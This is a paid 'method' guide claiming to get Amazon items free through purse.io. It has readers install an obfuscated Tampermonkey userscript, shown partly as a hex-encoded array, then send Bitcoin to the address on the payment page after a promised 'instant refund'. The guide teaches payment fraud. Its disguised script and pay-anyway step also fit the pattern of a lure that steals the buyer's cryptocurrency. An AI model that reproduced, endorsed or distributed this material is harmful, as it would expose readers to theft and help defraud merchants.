

## Thank you for buying my method!

In this guide, I will show you how to order items that are listed on Amazon fully for free - through indirect website - <https://purse.io/>

You can get everything you want, there is no limit.

## How and why does it work?

It's really simple. We will use a Tampermonkey script which automatically works in the background. It changes our browser's timezone whenever we make a new order on purse. As soon as we get redirected to the payment page, our timezone will change - which will result in **our order getting marked as "Expired" on Bitbay's side** (their provider), **but NOT on purse's side**. So, if we pay for the products - our order will get processed and delivered by purse anyway, but **the money will get INSTANTLY refunded to our wallet by Bitbay.**

## IMPORTANT - READ THAT!

If you are from Europe/Canada/Japan, you will have to do one extra thing (Step 8. ) in order to add items to your cart (I will give you info).

If you are from the United States, just do everything as I do.

If you have any trouble - please contact me via email, I'll be happy to help you.

**Before we start, here are the things you need:**

- Google Chrome browser

- **Tampermonkey** extension

<https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkehbmhmfjoiejmpblmpobfkfo/>

If the link is no longer working, simply google for Tampermonkey and you will find it.

- a script that changed your Timezone. You can copy it in this link:

<https://pastebin.com/4kYgQjF5>

**Step 1.** Add Tampermonkey extension to your browser. (Link above)

**Step 2.** Click on Tampermonkey's icon at the top-right side of your browser, and click "Create a new script."

**Step 3.** Remove any preset code so you can have a clean page just like on the screenshot:

Step 4. Copy the script from this link: <https://pastebin.com/Zv5y0Kzw> and paste it to that page. It should look like this:

```
1 // ==UserScript==
2 // @name Purse Timezone Glitch
3 // @namespace Purse
4 // @version 2.1
5 // @description Get ANY item from Amazon for free!
6 // @author Thug
7 // @match https://purse.io/*
8 // @grant none
9 // ==/UserScript==
10
11 (function() {
12     'use strict';
13
14     var _0x131c=['\x5a\x32\x56\x30\x52\x57\x78\x6c\x62\x57\x56\x75
15     }());
16
17 // Purse.io
```

Step 5. Go to "File" and click "Save".

Step 6. Go to "Installed userscripts" (at the same page) and check if the script is Enabled:

| # | Enabled   | Name                  |
|---|---|-----------------------|
| 1 |  | Purse Timezone Glitch |

Step 7. Now, go to <https://purse.io/> and create a new account or simply log in through Facebook/Google/Coinbase (recommended).

### IMPORTANT!

If you had already been on the site you should close that tab and open it once again from the link above.

If you are on the site - that's how you can check if the scripts works or not:  
There should be '1' icon on red background at extension icon.

-correct

-wrong

Step 8. Search for items that you want to buy, click on them and press "Add to cart" button.  
(Europe version below screenshots).

IF YOU ARE FROM EUROPE/CA/JP:

If you are from EU/CA/JP, you have to make a "Wish List" on Amazon and import it to the site.

Please follow the following page with instruction:

<https://support.purse.io/en/articles/1670626-how-to-ship-internationally-amazon-uk-japan-canada>

Or watch my youtube video where I show how to do it:

<https://www.youtube.com/watch?v=uVAAk1PgC18>

**Step 9.** I recommend not to change anything at that page, because we want to get our order as soon as possible, and our money will be refunded anyways, so it doesn't matter how much do we save. Just click "Continue".

**Purse** SHOP EARN HOW IT WORKS MY ORDERS **Account** CART

① Discount ② Shipping ③ Review ④ Payment

### Set Your Discount

Learn How It Works

Move the slider to choose a discount. Based on current market conditions, we recommend 10 - 15%.

5%

**Buy Now** Your order will be managed by Purse, for swift fulfillment

**2 - 4 days** ESTIMATED DELIVERY TIME Fast 2-day shipping, when it is available.

**\$18.52** SAVINGS Savings off original Amazon price.

|                |          |
|----------------|----------|
| ORIGINAL PRICE | \$370.49 |
| TOTAL SAVINGS  | -\$18.52 |
| ORDER TOTAL    | \$351.97 |

OPTIONAL

Extra Funds \$ 0

**CONTINUE**

We promise fast, reliable service and your money back if anything goes wrong.

[Returns Policy](#)

Xiaomi MI Mix 3 (128GB, 6GB) 6.39" Display, Dual SIM 4G LTE GSM U ... [Save for later](#)

|          |            |
|----------|------------|
| ORIGINAL | YOUR PRICE |
| \$370.49 | \$351.97   |

**Step 10.** Now, fill in all fields in order to add your address and click "Ship to this address".

**Step 11.** Make sure that you didn't make any mistake at your shipping address and once again click "Ship to this address".

**Step 12.** This is the last time when you can make changes to your order, so make sure you've selected everything and press "Proceed to payment".

**Step 13.** Now we are redirected to the payment page.

Just copy the amount that you have to pay and send Bitcoins to shown BTC Address. Nothing to worry about - our money will be returned after a few minutes.

**Step 14.** After doing that, wait for at least one payment confirmation.

If confirmation is done, your page should automatically refresh.

You should see a page informing you that your order was completed.

**Step 15.** At that point Bitcoins should be returned to you. Here is screenshot from my blockchain.

**Step 16.** Also let's take a look at our mailbox.

Thank you for reading my eBook :-)

Have fun with it.

PS. I'll edit the eBook in order to upload photo of my phone, as soon as it arrives (2-3 days). Stay focused!

#EDIT

So there is my order, got it after 3 days without any problem.
